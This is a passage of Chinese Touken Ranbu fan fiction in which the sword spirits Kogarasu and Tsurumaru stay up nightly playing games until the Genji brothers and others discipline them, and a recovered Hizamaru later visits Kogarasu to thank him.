“喂喂喂!振作一点!”鹤丸国永大惊失色,把他摇起来,“不要死啊!” 这是被他吓死了还是熬夜猝死了? 话说刀剑付丧神会因为通宵了一晚而猝死吗? 小乌突然坐起,一头槌撞到鹤丸的肚子上。 鹤丸国永嘎的一下也倒下了。 小乌:“啊?什么?天亮了?鹤丸你怎么了?别死啊?” 鹤丸国永:“” 合着你还不知道已经天亮了? 他捂着肚子像幽魂一样爬起来,一个字一个字地从牙缝里挤出来:“玩、游、戏?嗯?玩了一晚上没睡?” 小乌终于从游戏中回神了:“对不起!!!” 呜呜呜,未来的游戏实在是太好玩了,一玩就发了疯,忘了情,不知不觉就通宵了。 鹤丸国永,鹤丸国永能怎么办呢,只能让他先去睡觉:“睡觉去!等你醒了再来算账。” 一晚上没看着孩子就作妖了。 孩子不好带啊。 小乌乖乖地滚回房间睡觉了。 补完觉起来,已经到中午午餐时间了。 早餐时间看到鹤丸国永一个刃来吃早餐,膝丸还奇怪地问了一下小乌去哪了。 鹤丸国永吱唔了一下,决定给小乌留点面子,就说他昨天逛累了今天想睡个懒觉。 昨天又是逛街又是下地干活的,累也是理所当然,膝丸没有怀疑, 不知道小乌会睡到什么时候,鹤丸国永干脆替小乌打包了一份午餐回去。 小乌狼吞虎咽地吃完午饭后,鹤丸国永一脸严肃地在他对面坐着,准备好好教训他一下:“什么游戏那么好玩让你玩了一个晚上?我昨天睡前怎么说的?” 第56章 第五十六章 不按时睡觉就把你送小乌丸…… 小乌心虚地低下头扣桌沿:“要早点睡觉” 然后被板着脸的鹤丸国永瞪了一眼, 不老实的手立刻缩回到桌子底下。 鹤丸国永努力学着记忆中一期一振教训弟弟的样子,训话:“那你做到了没有?” “没、没有。” “玩游戏也要有个度!熬夜对身体不好,你本体还没修复好, 身体健康不要了?知道错了没?” 虽然鹤丸国永也不知道熬夜对付丧神的身体到底有没有影响总之, 学着一期一振和人类就对了! “知道了” 看着小乌认错态度良好的样子, 鹤丸国永本身就没生气,觉得效果已经达到了,说两句就放过了他:“行啦行啦,知道错了就好, 以后限定你只能玩到我就寝的时间,可以吧?” 小乌点头:“可以可以。” 可恶, 早知道就选自己一个刃住了! 不过自己一个刃住, 要是有刃过来叫他吃早饭之类的还是会暴露 唉,有刃管也是一种甜蜜的烦恼。 下午,时之政府的工作人员预约上门,鹤丸国永陪着小乌来到了安置本丸的实验室修复本体。 小乌躺进灌满了营养液的透明容器中沉睡,容器连接着密密麻麻的线,工作人员忙忙碌碌, 一边监测对比着人身的数据一边协助刀匠除锈, 修复本体。 鹤丸国永站在旁边看屏幕上不停跳动的数据还有小乌的本体,过了好一阵, 问道:“情况怎么样?” 刀匠专心致志, 已经听不到任何声音了, 工作人员只好代他回答:“鹤丸殿放心, 除了受损严重的点还需要再商讨修复方案,其他没什么问题,但修复工作需要精打细磨, 预计一个月能完成大部分的除锈和初步的修复工作,小乌殿的皮肤应该也能相应地恢复大半。接下来每天的这个时候都要过来进行修复工作。” 鹤丸国永点头。 本体恢复得越好,小乌的状态就越好,这对于小乌后面的极化修行也是有益处的。 昨日鹤丸国永被小乌丸叫去说的就是小乌极化修行这件事,所以鹤丸国永不仅是陪着小乌来,也是为了小乌丸的嘱咐而来。 他告知了工作人员等小乌修复好,就给他安排极化修行。 “极化修行?”工作人员吃惊,有些担忧,“这极化修行风险极大,小乌殿需要做好充分的准备,回溯的时间点也极其重要,需要慎重抉择。其他方面,我们会立刻着手准备,为小乌殿保驾护航。” “嗯,我们知道,多谢。” 工作人员离开后将本灵这边的要求上报了上去。 新的本灵有意向进行极化修行对时之政府无疑是个好消息,成功了将会添加一份新的强大战力。 事实上,小乌的本灵被时之政府接回已经是人尽皆知的事情了,每天都有许多审神者在询问小乌什么时候实装。但是小乌的逸闻充满了悲剧的色彩,在现世也没有足够稳固的锚点。在时之政府看来,小乌通过极化修行的几率实在是不大。 所以时之政府不敢打包票说小乌会实装降下分灵,只能告诉审神者们本灵那边暂未明确表态小乌愿意降下分灵。 他们现在能做到的,只有竭尽全力地做好后勤保障,剩下的只能交给命运或者小乌自己了 晚上小乌又忍不住摸向了游戏机,鹤丸国永在一旁虎视眈眈,再三叮嘱:“说好了啊!我去睡觉你就得关掉了!不然我就我就把你送到小乌丸那里去!” 小乌:你好狠! 小乌有预感,要是闹到小乌丸那里,就没有鹤丸国永这么好说话了。 小乌连连保证:“知道了知道了!保证按时睡觉!” 鹤丸国永看他那样子实在不能放心,干脆决定在一旁监督。 抱着抱枕坐到他旁边,美名其曰是监督,实则是自己也忍不住想看看小乌到底在玩什么玩得那么入迷。 小乌开机进入游戏,激烈的战斗画面和音效响彻客厅,鹤丸国永起初还在看表认真监督,但看着看着,已经想不起钟表的存在了:“哎,这关不能硬冲,左边有个隐藏通道。” “真的!这你都知道,太厉害了!” “这里要用翻滚躲开扫尾,对对,绕后!绕后!” “赢了!你太厉害了吧!你玩过很多次了吗?” “没有啦,玩两三遍就过了” “太厉害了,鹤丸大佬!” “哼哼,这种程度洒洒水啦~”鹤丸国永眼神里的得意已经藏不住了。 小乌:“这个游戏有双人模式诶,你玩吗?” 鹤丸国永早就看得心痒难耐,犹豫了一下:“行!” 反正时间还没到,玩就玩一会,也没说他监督不能玩游戏对吧? 两刃迅速投入战斗。 “左边左边!鹤丸快躲开,aoe!” “呼呼呼看我一个帅气的滑铲!” “加血加血!” “放大!我摁住boss了。” “来了来了,别催,漂亮!” 时间在激烈的战斗中飞速流逝 十一点。 鹤丸国永:“最后一盘,输了就睡觉!” 小乌:“冲啊!” 凌晨一点。 两刃已经换了一款游戏,面对面坐着,不让对方看到自己的游戏屏幕。 小乌:“我看到3号从尸体那个方向刚刚走过来,人肯定是他杀的!” 鹤丸国永:“?5号污蔑我!我刚刚听到他在麦里坏笑了!” 小乌刚刚杀掉一个带刀好人,火速穿上马甲引导其他玩家把鹤丸国永这个平民投出去,达成了屠城成就:“哈哈哈,我们狼赢了!” 鹤丸国永:“可恶啊啊啊!” 含恨捶地 凌晨两点多,鹤丸国永眼皮疯狂打架,脑袋一点一点,手里的操作也变得迟钝起来,他含糊地嘟囔着:“我不行了这把打完必须睡了” 一个巨大的哈欠让他断掉了连招。 “别睡啊,boss就快打完了!” 小乌看到队友掉线,急得拍他。 鹤丸国永迷迷糊糊地“嗯”了一声,头一歪,靠着沙发真下线了。 小乌看了一眼屏幕上的game over,也终于感觉到了强烈的困意,转头看看旁边已经睡得像死猪一样的鹤丸国永,自己也打了个哈欠。 懒得回卧室了,他随手扯过沙发上的毯子,裹吧裹吧把自己和鹤丸国永包起来就这么挤在一起睡了 当阳光穿过玻璃晒在他们俩脸上时,小乌迷迷糊糊地睁开眼,映入眼帘的时鹤丸国永t?同样带着浓浓的睡意的脸。 两刃大眼瞪小眼,沉默了足足一分钟。 鹤丸国永艰难地开口,声音带着刚睡醒的沙哑:“昨晚,几点睡的来着?” 小乌:“呃不知道。” 可恶! 鹤丸国永非常的后悔,他就不该跟着小乌打游戏! 现在好了,又熬了一个大夜,还赔上了自己。 鹤丸国永:“不然还是把你送到小乌丸那里去” “呵呵。”小乌冷笑一声,他现在不怕鹤丸国永的威胁了,“那我就和小乌丸殿举报你也熬夜了,一起去和父上大人睡觉吧!” 要死一起死! 鹤丸国永:“” 奸人!你个奸诈小人! 鹤丸国永痛彻心扉:“今晚!今晚绝对不能再熬了!” 小乌用力点头:“好!” 击掌。 又是一天过去,晚上,忘记收起的游戏机躺在茶几上,无比诱人。 “新地图开了,快来!” “等下我买个技能书,诶诶,你别扯!” “我说一二三跳!” “你怎么提前跳了?” “明明是你跳晚了!” “啊啊啊掉下去了!” 不知道打了多久,鹤丸国永的生物钟又开始发力,眼皮沉重,操纵的游戏小人昏招百出。 “鹤——丸——”小乌正被boss虐得死去活来,被鹤丸国永的梦游操作害了好几次,游戏上头的他开启了六亲不认的模式,开始嘲讽:“你行不行啊?菜就去睡吧,不要影响我输出!” “哈?!你说谁不行?!” 臭小子还敢嘲讽他,鹤丸国永睡意全无,感觉自己又能再大战三百回合,手指在手柄上按出残影。 日子就在“发誓-熬夜-白天像死狗一样-懊悔-再发誓-继续熬夜”的循环中又过去了好几天。 如此反复几天,早餐桌上再也看不到小乌和鹤丸国永的身影,就连午餐都经常姗姗来迟,两刃眼睛下还挂着显眼的青色,有一次萤丸和爱染国俊撞见,还以为本丸又多出了两振明石国行。 对新来的后辈还很新鲜的髭切和膝丸终于察觉到有些不对了。 髭切咽下嘴里的天妇罗:“最近,这个点好像都没有看到小乌和鹤丸。” 膝丸认同:“的确” 最开始还是小乌不来吃早饭只有鹤丸国永,现在变成两个刃都一起消失了。 他们在干什么呢? “唔”髭切端起吃光的餐盘,似乎想到了什么有趣的主意,眼睛微微发亮,“光猜可不行,那个嗯,腿” “是膝丸,兄长。” “啊就是这个,我们去拜访一下他们吧?” 兄长发话了,膝丸自然是没有什么不愿意的,他也确实有些担心小乌的状态了,这几天都没有碰上过,但是听到碰见过他们的刃说看起来状态不是很好。 但是一整个白天过去了,髭切依旧懒洋洋地散步、喝茶、聊天,没有要去拜访的意思。 直到半夜,时钟指向零点过后,迟迟不睡的髭切才终于动身,拽着膝丸出了门。 第57章 第五十七章 你这屋闹鬼吗? 膝丸看着兄长准备出门的架势, 马上就明白了髭切的想法:“兄长?是要去找小乌吗?这个时间点?!” 时间有点阴间了吧! “唔哦,对啊。” 仿佛半夜三更去敲别人家门是一件再正常不过的行为了。 膝丸觉得不是很行:“他们肯定都睡了吧。” 本灵们在一个本丸共同生活了这么久,对彼此的作息时间也差不多摸清了, 小乌还不了解, 但是鹤丸国永肯定早就梦会周公了, 跟他一起住的小乌肯定也不会太晚睡。 小乌:红豆泥? 髭切却神秘道:“今晚可能会有惊吓呢~” 深夜的本丸格外寂静,只有虫鸣和风声。源氏兄弟路上遇到了一个飘忽的白影,双方打了一个照面都被吓到了。 太刀比较瞎,分辨了半天也没看出是什么, 对面的白影先认出了他们:“髭切还有膝丸?是我。” 白布被摘下露出金发,原来是刚刚吃完夜宵的山姥切国广。双方寒暄了两句就分开走了。 山姥切国广走了几步, 后知后觉地停下, 回头看源氏兄弟逐渐远去的背影:源氏的部屋不在这附近吧?这是要去做什么,也是肚子饿了要去厨房找吃的吗? 他摇摇头,没想那么多,径直回了部屋。 睡觉睡觉。 髭切和膝丸终于摸到了小乌和鹤丸国永的部屋前。望了望窗户,黑的,看样子像是睡了。 膝丸压低声音:“没有灯光, 是睡了吧, 我们回去吗?” 髭切却摸着下巴,沉吟片刻。 他没有回答, 而是拉着膝丸绕到了后院。 后院通往客厅的是一扇落地的玻璃门。鹤丸国永不喜欢封闭式的场所, 所以很少会拉窗帘, 此时就方便了他们透过玻璃门观察室内。 从后院看里面, 就不像前门一样是一片漆黑了,透出五颜六色的光,还有隐隐约约的游戏音效和说话声。 膝丸惊讶。 啊?真没睡?! 随即用敬佩的目光看向髭切:不愧是兄长, 这都被他料到了! 但是这五颜六色的光又是怎么回事? 髭切轻轻地推开门,像一只猫一样无声无息地脱鞋踏进了室内。 他回身朝膝丸招招手。 弟弟快来~ 膝丸:!!! 兄长啊,这样私闯民宅不太好吧! 走入室内,更能看清客厅内的景象。地毯上散落着各种零食包装袋,喝了一半的饮料罐歪倒在茶几边缘摇摇欲坠,巨大的投影屏幕上,狰狞的怪物正定格在咆哮的姿势上。 而他们想看到的那两个刃,正以扭曲且难分难解的姿势扭打在一起。 鹤丸国永仰面躺在沙发上,一条腿不雅观地搭在沙发扶手上,另一条腿则是被小乌死死压住,他的手一边徒劳地举着游戏手柄,一边推搡着趴在自己身上的小乌。 小乌则是蜷缩着身体,脑袋顽固地顶着鹤丸国永的腹部,试图用头槌把他创死。 沉浸于真刃快打,激情互喷。 “你不贪输出我们早过了!” “哈?明明是你走位太烂了没踩中道具!” “我那是被卡视角了,你的仇恨方向都没拉对!” “我你害我死了!” 就在他们吵得正热烈的时候,一道声音突兀地插进来—— “嗯?什么死掉了?” 空气瞬间凝固。 扭打在一起的两刃如同被按下了暂停键,连呼吸都停止了。 客厅陷入死寂,鹤丸国永和小乌听到了头顶多出来的呼吸声。 什什什什么东西? 小乌细弱蚊呐:“你这房子它闹鬼吗?” 鹤丸国永:“不、不知道啊” 他们脖子像生锈了一般僵硬,一点一点地抬起头循声望去。 头顶的黑暗中,赫然悬着两点幽幽的金光,像鬼火,又像大型野兽在暗处窥伺猎物的眼瞳。 “啊啊啊啊啊啊——!!”小乌和鹤丸国永的惨叫声冲破屋顶,吓得魂飞魄散,紧紧抱成一团。 有鬼啊啊啊啊!!! “啪!” 膝丸拍下开关键,灯亮了。 明亮的灯光驱散了客厅的黑暗和诡异的氛围。 髭切站在沙发后面,手肘撑着沙发靠背,正微微弯腰俯视着他们。 “嗝。” 两刃的尖叫声卡在喉咙里,像被掐住了脖子的鸭子,目光呆滞。 他们其实已经打游戏打到睡着了吧?现在一定是在做梦,不然髭切怎么会突然出现在他们部屋的客厅里? 髭切的笑容如沐春风,眼睛弯弯:“晚上好?” 哈哈,原来那两个金色的大灯泡是髭切的眼睛啊 哈哈哈 好可怕啊!!!为什么自己家里会突然刷新出一振髭切啊!!! 两刃僵硬地松开彼此,手忙脚乱地从地上爬起来,这才看到站在门口玄关处,手还按在客厅灯光开关上,面色黑如锅底的膝丸。 鹤丸国永扯出一个比哭还难看的讪笑:“啊哈哈这么晚了,髭切殿和膝丸殿是有什么事吗?” 髭切保持着那个姿势,语气温和:“当然是上门拜访啦。听说你们最近看起来没什么精神呢,早餐也没有来吃,所以我就带着弟弟来探望你们啦!” 髭切双手合起,表情看起来很忧心:“弟弟担心到睡不着一定要来看你们呢。” 面色铁青的膝丸:“???” 什么?不是?我没有? 天降横锅! 髭切看起来好像只是在单纯地担忧他们的健康,但膝丸就没什么好气了。 他无视了鹤丸国永,目标明确直奔小乌,伸出魔爪像个钳子一样自上往下钳住了小t?乌的脑瓜子,皮笑肉不笑地问:“几点了还不睡?还在打游戏,一点也不自律!” 他们本来是想着小乌初来乍到,让他先休息几天适应一下本丸的生活,没想到反倒让他的生活变得这么堕落。 看来也不用给他休息时间了。 膝丸的手上使了劲,小乌被捏得嗷嗷叫,被膝丸凶一顿,连连求饶,重新加上了敬语:“呜,我错了膝丸大人下次不敢了” 膝丸生气起来好吓人! 记忆中从来没有接触过膝丸,再加上之前接触的是心智缺损、把他当成髭切的小膝丸,膝丸又一直在髭切面前表现得像是很好欺负的模样,导致小乌一直缺乏对同为源氏重宝的膝丸的敬畏,现在被膝丸的气势压倒,终于有了实感。 “还有下次?”膝丸手上力道加重。 小乌:“没有了!绝对没有了!” 呜呜 小乌瑟瑟发抖。 鹤丸国永在旁边看着,哪敢说话啊。 髭切和膝丸一个唱白脸一个唱红脸,把两个老实的鹌鹑赶回了卧室。 小乌和鹤丸国永并排躺在被窝里,大气不敢出。 膝丸在外面帮忙浅浅地收拾了一下狼藉的客厅,髭切则是跪坐在小乌旁边。 无形的压力让小乌冷汗直流,心脏怦怦跳,等待下一秒也许就会到来的训斥。 然而,髭切什么责备的话都没有说,他甚至没有流露出任何不悦,只是伸出手用冰凉的手指摸了摸小乌的额头,然后覆盖在他的眼睛上:“快睡吧。” 声音低沉柔缓,似乎能掐出水来。 黑暗笼罩了视线,小乌居然真的慢慢松弛下来,没一会就睡着了。 鹤丸国永在旁边看得目瞪口呆,跟见了鬼一样。 他敢用未来一年的惊吓打赌,髭切此刻这么温柔一定没在想什么好事! 小乌你糊涂啊!再警惕一点啊! 髭切收回手,朝鹤丸国永疑惑地歪头:你也要哄睡? 不不不! 鹤丸国永拿被子蒙住了头。 髭切无声地笑笑,然后悄无声息地带着等在外面的膝丸走了。 鹤丸国永听着小乌平稳的呼吸声,琢磨到睡着都没琢磨出髭切到底葫芦里卖的是什么药。 不过,这个疑问在第二天就被解答了一半。 太鼓钟贞宗充满活力的声音在门外响起:“鹤先生!小乌殿!起床啦!” “我进来了哦!” 啊是贞坊啊。 鹤丸国永呻吟一声,把脸埋进枕头里:“贞坊,再睡一会” 太鼓钟贞宗拒绝,把两个刃从被窝里挖起来,押送到餐厅。 当他们脚步虚浮地坐上餐桌,烛台切光忠端着两碗黑乎乎的汤过来了,脸上挂着闪闪发光的微笑,背后却是黑气滚滚。 汤碗放在他们面前,一股诡异的味道扑面而来。 “鹤先生,小乌殿。”烛台切光忠轻声细语,“听说你们最近的睡眠不太好,所以我请教了药研殿做了药膳,一定要喝完哦。” 小乌、鹤丸国永:“” 是不是髭切通风报信了,他不信他没有! 居然通知了光坊! 太鼓钟贞宗倒是什么都不知道,只是出于担心点头附和:“嗯嗯,要好好喝掉哦,我看咪酱很早就起来熬了呢。” 可、可恶,这不喝良心会痛的吧! 鹤丸国永还想再挣扎一下:“光坊,其实我觉得我咕噜咕噜咕噜!” 一直沉默地坐在旁边的大俱利伽罗动了,面无表情地端起鹤丸国永的那碗汤,动作快如闪电,一手捏住他的下巴迫使他张开嘴,另一只手就直接拿着碗怼了上去,猛灌。 大俱利伽罗:“喝。” 废话那么多,别想跑。 鹤丸国永吐泡泡,挺尸。 小乌眼睁睁看着鹤丸国永被粗暴地灌药后那生不如死的表情,连咽口水的动作都要持续好几秒才完成,当大俱利伽罗毫无感情波动的金眸转向他时,求生欲大爆发,仰头就一口干完了。 餐桌上又多了一具尸体。 太鼓钟贞宗戳戳他们俩的脸颊肉:“这里不能睡觉哦。” 第58章 第五十八章 我脱粉了你这个邪恶奶黄包…… 坐在不远处的髭切深藏功与名, 仿佛躺尸的两刃和他没有任何关系。 烛台切光忠满意地收拾空碗离开。 小乌感觉自己的味蕾受到了严重的打击,刚缓过一口气,食不知味地扒拉几口早餐准备离开这个令刃伤心的地方, 就被等候多时的膝丸精准拦截。 “休息够了吧?”膝丸的手已经搭在了小乌的肩膀上, “走, 去手合场,让我看看你现在的水平,顺便帮你训练,刀不用可是会生锈的。” 小乌眼前一黑, 感觉刚刚被药汤摧残过的胃在隐隐作痛:“膝丸、膝丸大人” “” “好的。” 根本不敢拒绝 膝丸直接把刃拎到了手合场,接下来的几个小时, 对于小乌无异于另一场酷刑。小乌目前的几招对于身经百战的实战刀来说不过是班门弄斧, 小乌连滚带爬地被吊着打,膝丸在这方面也是一丝不苟,压着他的极限死命训练,训练强度比以前的还要大。 一天操练下来小乌感觉自己要碎了。 小乌:吐魂。 小乌那边被膝丸抓走了,鹤丸国永还在一脸苦相地吃早餐。太鼓种贞宗看着他依旧半死不活的样子,担忧地问烛台切光忠:“咪酱, 鹤先生这样真的没问题吗?” 烛台切光忠脸上的笑容未变, 一边收拾碗筷一边回答:“安心吧贞酱,鹤先生他啊很快就会恢复精神的。” 他的语气非常笃定。 太鼓种贞宗单纯以为他指的是对那碗汤药的效果非常有信心, 所以放下了心, 蹦蹦跳跳地离开了:“嗯!那就好!我先走啦~” “好~”烛台切光忠朝他挥手告别。 快散架的小乌拖着沉重的身体回到部屋, 几乎是沾床就睡, 没了玩伴还被惩治的鹤丸国永也总算是恢复了原本的作息乖乖睡觉了。 然而这份安宁并未持续多久。 仿佛刚闭上眼没多久,天还是一片浓得化不开的墨黑。他们的卧室门被敲响。 谁这个时候来敲门 两刃被惊醒,睁开眼还是一片漆黑, 明显还没天亮。 小乌在黑暗中看得更清楚,于是揉着眼睛起床去开门。 拉开门,门口挤满了刃。 小乌:??? 这么多刃?! “咔咔咔!” 为首的山伏国广一身修行装束,肌肉喷张,他大笑几声,声如洪钟。 “小乌殿,现在正是精进修行、磨炼心性与体魄的最佳时刻!快起床和我们一起去后山修行吧!” 他身后还有手持佛珠的数珠丸恒次、笑面青江、同田贯正国、大包平等刃。 小乌:“???” 小乌:“什么修行?为什么突然来找我?” 什么情况?一群大汉凌晨堵门喊我去修行?他们这几天好像没说过几句话吧? 鹤丸国永被山伏国广洪亮的声音吵醒了,撑起身子探头看向门口,看到这个阵容,瞬间一个激灵:这阵容不妙啊! 山伏国广:“髭切殿告知吾等,说小乌殿渴望与我们一起修行,只是缺乏自制力难以早起,特意拜托我们来督促你,咔咔咔!时间不早了,我们快出门吧!” 小乌: 小乌: 坏了!冲我来的! 髭切你!原来在这等着他是吧? 我要脱粉了!!!你个邪恶奶黄包!!! 小乌感觉天旋地转,但是不敢在这么多刃面前就这么直接晕过去,他看向身后的鹤丸国永,眼神里充满了求救信号:救命啊鹤丸!是兄弟就来救我! 鹤丸国永把头“嗖”的一下缩回去,翻身背对着他,发出了夸张的鼾声示意众刃他还睡着:“呼噜呼噜” 同田贯正国瞥了一眼室内,然后不感兴趣地挪开目光,粗声催促道:“喂,别发呆!” 他的眼里只有接下来的锻炼。 大包平则是目光灼灼地盯着前方的数珠丸恒次,几乎要把他的后背盯出一个洞来。 他之所以会出现在这里,纯粹是莺丸在得知髭切的打算后,被莺丸用着“数珠丸恒次每日都会持之以恒地进行修行,所以才会那么强呢~”的理由一齐忽悠进来的。 他已经迫不及待地要和天下五剑之一的数珠丸恒次开始较量了! 而清楚现在到底是个什么情况的数珠丸恒次和笑面青江在队伍中笑而不语。 笑面青江甚至朝小乌俏皮地wink了一下:自求多福咯。 可恶!是兄弟就一起来受苦! 小t?乌准备把鹤丸国永一起拖下水:“其实鹤” “啊啊!”鹤丸国永立刻出声打断,“小乌好好修行哦,我年纪大了就不掺和了,加油~” 预判! 兄弟就是拿来卖的。 鹤丸国永闭着眼睛,背对着他们得意地勾起嘴角。 诶,想拉我下水,没门~ 小乌:啊啊啊啊! 你年纪大,我年纪就不大了吗?明明都是平安时代的刀! 绝交!立刻绝交! 小乌没招了,小乌绝望了。 被热情高涨的修行组押着上了后山的“刑台”。 徒手攀岩壁;扛着沉重的木桶在崎岖的山路上负重越野;在冰冷的瀑布下方打坐,忍受冲击,心如止水,感悟天地;在布满各种障碍和陷阱的林间练习闪避和前行,锻炼反应和胆识 修行内容惨无刃道,小乌感觉自己不是在修行,而是在三途川反复横跳。 但这仅仅是开始,山伏国广自从这一天开始,雷打不动地按时来叫他去修行,豪迈的笑声在小乌的耳中犹如催命的丧钟。 小乌在一天回到部屋,首先迎接他的不是温暖的被窝而是鹤丸国永给他收拾好的新房间。 小乌呆滞地看着新房间,抱着自己的被褥:“你要赶我走?” 鹤丸国永沉痛地拍了拍他的肩膀:“我也不想的,但是我们的作息已经不一样了。” 他眼神有些飘忽,这句话的意思经过小乌大脑的翻译,大概意思就是:早上别吵着我睡觉。 小乌悲愤交加。 在修行之余,各种刃就像约好了一样络绎不绝地找上门,喝茶下棋,体验书法和厨艺,被塞了各种各样的知识,小乌有些晕头转向。 最让他哭笑不得的是山姥切国广和骚速剑,他们似乎坚定地认为小乌对自己仿品的身份有所困扰,多次找他谈心开导。 小乌挠挠脸。 目前遇到的各种刃从来没有用“髭切的仿刀”这种眼光看待过他,也忘记了曾经的记忆。除了被伪装成髭切送进平氏和在游戏的时候和髭切自相残杀的那两次,他其实对自己身为仿品的身份并没有什么实感。 不过山姥切国广和骚速剑是一片好心,小乌很感激他们。 还有许多刃跟他分享了很多关于自己的逸闻,小乌就像在听故事一样,增长了不少见识,对本丸的同伴们也有了更加深刻的了解。 今剑尤其喜欢来找小乌,话题总是围绕着源义经,其次就是膝丸。 小乌觉得有点奇怪,但是说不上哪里奇怪。 今剑喜欢找他,可能也有因为他在平安时代和义经公有过接触并且曾经假扮过义经公的原因? 小乌只能这样想。 不过最近最让他头疼的还是源氏兄弟。 被膝丸操练到怀疑人生的小乌现在看到膝丸就腿软,看到髭切就头皮发麻,不像最开始路上远远看到会眼睛亮亮地迎上去,而是有意识地绕开他们走。 小乌:不是没爱了,就是有点发怵 髭切和膝丸很快就察觉到了。 膝丸站在回廊上,余光看着小乌又一次像受惊的兔子般消失在视野中,脸上露出了混合着困惑和受伤的表情:“我很可怕吗?” 髭切思考了一下,然后语气轻飘飘地得出结论:“诶哆,大概是凶凶丸太凶了吧。” 此刃就这么把锅都扔在了弟弟头上。 膝丸无语凝噎:“兄长!你也一样被躲着走啊!” 山伏国广的修行不是你安排的吗?而且手合场你打小乌打得可比我还狠! 髭切被弟弟控诉了,却一脸无辜,眨眼的动作仿佛在说:“我有吗?” 不仅如此,还在火上浇油:“哎呀,吼丸要加油和后辈搞好关系啊,不然” 他特意拉长了语调,看着膝丸逐渐急眼。 “不然以后怎么让他放松警惕,骗他穿上女装呢?” 膝丸:“” 其实不提这个他都快忘了。 我觉得你比我更加期待小乌穿女装的样子 就在小乌的生活越来越充实,逐渐融入本灵本丸的时候,一只狐之助突然找上了他。 “小乌大人!小乌大人!” 狐之助蹦蹦跳跳地喊他:“有您的访客申请哦!” 小乌正对着棋盘上的棋子发愁,对面七星剑正襟危坐,丙子椒林和小乌丸正在旁观。 访客? 小乌松了口气,狐之助的到来也让他得救了。 他放下棋子和七星剑他们打了一声招呼,赶紧接着这个送上门来的借口告辞了。 七星剑点头,小乌丸坐上了小乌原本的位置代替他。 小乌:“访客是谁?” “是原E923本丸的膝丸殿。”狐之助欢快地甩着尾巴,“他说想当面感谢您当时的照顾。” 小膝丸? 小乌的眼睛亮了,他居然还会记得来看他! 小乌:“快让他来!” 小乌激动地同意了,雀跃得几乎要飞起来,但是同意后又开始纠结:小膝丸真正的兄长已经回到了他身边,那现在是怎么看待他的呢?在小膝丸眼里,他现在是什么身份呢? 不过不管怎么样,能见见也很好啊! 小乌在前往会客室的路上,回味了一下小小的膝丸软乎乎地喊他兄长时的画面。 小乌:*回味。 第59章 第五十九章 膝丸:我叫阿尼甲你应什么…… 狐·之·助! 我那么大一个小膝丸呢?! 为什么不告诉我他已经恢复了! 小乌和已经变回成年体体大【膝丸】面面相觑。 沉默是今晚的康桥。 小乌: 小乌在桌子底下情不自禁地抖抖腿, 然后惊觉,停下,然后又忍不住抖腿。 他按住腿。 死腿, 别抖了! 沉默、沉默、还是沉默。 小乌低下头。 为什么不说话?应该说些什么? “小乌殿, 冒昧来访, 打扰了。” 还是【膝丸】先开口打破了沉默。 小乌干巴巴的:“好久不见,你身体已经没有问题了吗?” 【膝丸】也有些尴尬,他的声音也有些干涩:“是、是的,不是什么很严重的问题, 所以政府很快就帮我修复好了。” 话头一开,对话也逐渐顺畅起来:“此次登门拜访, 是为我和兄长、以及本丸的同僚们向您传达谢意。” 他站起来郑重其事地向小乌鞠了一躬:“非常感谢!如果不是您, 我们兄弟还不知道当时能否得到救援。” 小乌的出现对于当时的他们来说是一场及时的甘霖,他身上携带的直播设备也加速了他们得到救助的速度。如果没有小乌,他们兄弟可能还要在外面流浪很久才能联系到时之政府,时间差导致同僚们全部惨遭盛怒之下的审神者的毒手;也可能出逃失败再次被抓回。 提到髭切,【膝丸】的眼神黯淡了一瞬,想起了那段他不愿意回想的时光, 他简直就是一个拖累兄长的累赘, 每每想起,他就自责不已。 好在, 一切都过去了, 现在的结果还是不错的。 “也感谢兄长不在时您对我的照顾。” 小乌一惊, 连忙避开【膝丸】鞠躬的方向:“不不不!您太客气了!我其实也没做什么, 基本都是髭切和三日月的功劳啦!” 受不起,受不起。 他说的也没错,他们本丸能得救还得是三日月宗近和髭切。冒死出逃求救, 给他提供救援计划,就连让时之政府更快得知E923本丸情况和定位的直播设备也是其他的髭切给他的。 算起来,他真的没干什么。 而且【膝丸】还提了髭切不在时,他对【膝丸】的照顾 所以他是全都记得对吧? 对吧。 想到在自己当时是怎么“照顾”小膝丸的,小乌就心虚得要命。 这、这也算照顾吗? 他本刃都不敢承认,【膝丸】居然觉得是照顾,刃未必也太好了一点。 小乌觉得良心好痛。 把他当成髭切的小膝丸才是把他照顾得无微不至啊 小乌慌里慌张,干脆朝【膝丸】也猛鞠一躬还回去:“我才是!当时还是您和本丸的大家照顾我多一些,我才应该感谢你们!非常感谢大家的收留和照顾。” 这话说得也没错。如果没有E923本丸这一回事分散了他的注意力,小乌可能还沉浸在离别之痛中无法自拔,很难自己走出来,再那么消沉下去,他可能也没有生存下去的念头,跟着碎刀了吧。 如果当时在外面碎刀了,他就见不到活下来的千子村正了。 小乌的鞠躬,也是真心实意的。 现在换成【膝丸】被小乌的举动惊到了,连忙上前一步扶住他的胳膊:“不必如此!” 不过虽然身体拒绝了,【膝丸】在心t?中还是把这个鞠躬当成对同僚的感谢和对他的道歉了。 是的,道歉。 呵呵呵,他还没忘记在他心智受损的时候小乌对他干了些什么坏事! 倒不如说是他想忘都忘·不·掉·啊! 【膝丸】磨了磨后牙槽。 变回去以后他撞见过好几次髭切在回看当时的直播录屏,甚至还打了照片挂在他们房间的墙上! 只要一睁眼就能看到女装的自己,真是太棒了:) 不过本灵的他一定会替他报复回来的,没关系,嗯。 他就大人有大量原谅小乌吧,只是小辈的恶作剧罢了。 嗯。 哼! 两刃相互推诿了几轮,终于结束了比较正式话题,坐下来聊了聊近况。 【膝丸】简单地讲了讲同僚们如今的生活情况。 他们现在被集中安置在专门收容无主刀剑的收容所,没有选择回归本灵和加入时之政府的刀剑付丧神,在通过评估后便可重新分配新的审神者。 他和髭切的状态都很良好,已经接受了重新分配,以他们的受欢迎程度,想必要不了多久就能够被新主人接走了。 “那太好了!”小乌由衷地为他们献上祝福,“祝你们未来的新生活愉快!” 他在心里默默盘算着一会就去问问政府工作人员E923付丧神们的分配进度。如果还没有筛选好新主,他就替他们盯梢候选人的品性;如果已经决定好了人选,那他就替他们把把关,了解一下他们的新主人。 他希望他们都能遇到能够好好使用他们的主人,不要再遇到失格审神者了。 主人啊 如果降下分灵,他也会认主吗? 他好像一直都没有使用他的主人,对主公的概念也是相当浅薄。 小乌不知道他是期待还是抗拒。 他不确定,他真的能够接受自己有一个主人吗? 【膝丸】最关心的则是小乌本体的修复情况。他粗粗打量了一番,目光最终落在他的头发上:“你的头发?好像变黑了。” 